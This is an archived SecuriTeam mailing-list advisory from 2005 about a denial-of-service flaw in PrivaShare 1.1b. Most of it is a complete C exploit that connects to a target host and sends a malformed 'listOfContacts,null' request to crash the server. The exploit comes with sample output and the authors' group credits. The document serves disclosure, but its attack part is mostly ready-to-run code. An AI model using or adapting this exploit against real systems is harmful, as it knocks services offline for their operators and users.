

# [EXPL] PrivaShare DoS (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-07/0088.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 07/27/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 27 Jul 2005 15:07:52 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

PrivaShare DoS (Exploit)

---

## SUMMARY

<<http://www.freevbcode.com/ShowCode.Asp?ID=2742>> PrivaShare – "Is a peer-to-peer TCP/IP application that lets you share files from the directory of your choice, download files from other machines running the program to the directory of your choice, upload files to others, chat with whomever is connected to you, and search for files on other machines running the application."

It is possible to crash the PrivaShare server by sending a malformed request.

## DETAILS

Vulnerable Systems:

\* PrivaShare version 1.1b

Exploit:

/\*

PrivaShare TCP/IP DoS Exploit

---

Securiteam: [EXPL] PrivaShare DoS (Exploit)

Resolve host... [OK]  
[+] Connecting... [OK]  
Target locked  
Sending bad procedure... [OK]  
[+] Server DoS'ed

Tested on Windows2000 SP4  
Greats: Infam0us Gr0up Team/member,and ll of u..take care!

Info:  
- infamous.2hell.com  
- basher13@linuxmail.org

\*/

```
#include <string.h>  
#include <winsock2.h>  
#include <stdio.h>
```

```
#pragma comment(lib, "ws2_32.lib")
```

```
char doscore[] =  
/*
```

Offset 0000ca10 to 0000ca2b

```
0000ca10 6c 00 69 00 73 00 74 00 4f 00 66 00 43 00  
6f 00 6e 00 74 00 61 00 63 00 74 00 73 00
```

HEX:

```
6c 20 69 20 73 20 74 20 4f 20 66 20 43 20 6f 20 6e 20 74  
20 61 20 63 20 74
```

\*/

```
"listOfContacts,null"  
"*** PrivaShare TCP/IP DoS Exploit \n"  
"***-----\n"  
"*** Infam0us Gr0up - Securiti Research Team \n\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"  
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
```

## Securiteam: [EXPL] PrivaShare DoS (Exploit)

```
***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n";
```

```
int main(int argc, char *argv[])
{
    WSADATA wsaData;
    WORD wVersionRequested;
    struct hostent *pTarget;
    struct sockaddr_in sock;
    char *target;
    int port,bufsize;
    SOCKET inetdos;

    if (argc < 2)
    {
        printf(" PrivaShare TCP/IP DoS Exploit \n", argv[0]);
        printf(" -----\n", argv[0]);
        printf(" Infam0us Gr0up – Securiti Research\n\n", argv[0]);
        printf("[–]Usage: %s [target] [port]\n", argv[0]);
        printf("[?]Exam: %s localhost 2001\n", argv[0]);
        exit(1);
    }

    wVersionRequested = MAKEWORD(1, 1);
    if (WSAStartup(wVersionRequested, &wsaData) < 0) return –1;

    target = argv[1];
    port = 2001;

    if (argc >= 3) port = atoi(argv[2]);
    bufsize = 1024;
    if (argc >= 4) bufsize = atoi(argv[3]);

    inetdos = socket(AF_INET, SOCK_STREAM, 0);
    if(inetdos==INVALID_SOCKET)
    {
        printf("Socket ERROR \n");
        exit(1);
    }
    printf(" PrivaShare TCP/IP DoS Exploit \n", argv[0]);
    printf(" -----\r\n\n", argv[0]);
    printf("Resolve host... ");
    if ((pTarget = gethostbyname(target)) == NULL)
    {
        printf("FAILED \n", argv[0]);
        exit(1);
    }
    printf("[OK]\n ");
    memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
    sock.sin_family = AF_INET;
    sock.sin_port = htons((USHORT)port);
```

## Securiteam: [EXPL] PrivaShare DoS (Exploit)

```
printf("[+] Connecting... ");
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
{
    printf("FAILED\n");
    exit(1);
}
printf("[OK]\n");
printf("Target locked\n");
printf("Sending bad procedure... ");
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
    printf("ERROR\n");
    closesocket(inetdos);
    exit(1);
}
printf("[OK]\n ");
printf("[+] Server DoS'ed\n");
closesocket(inetdos);
WSACleanup();
return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:basher13@linuxmail.org>> eric basher.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.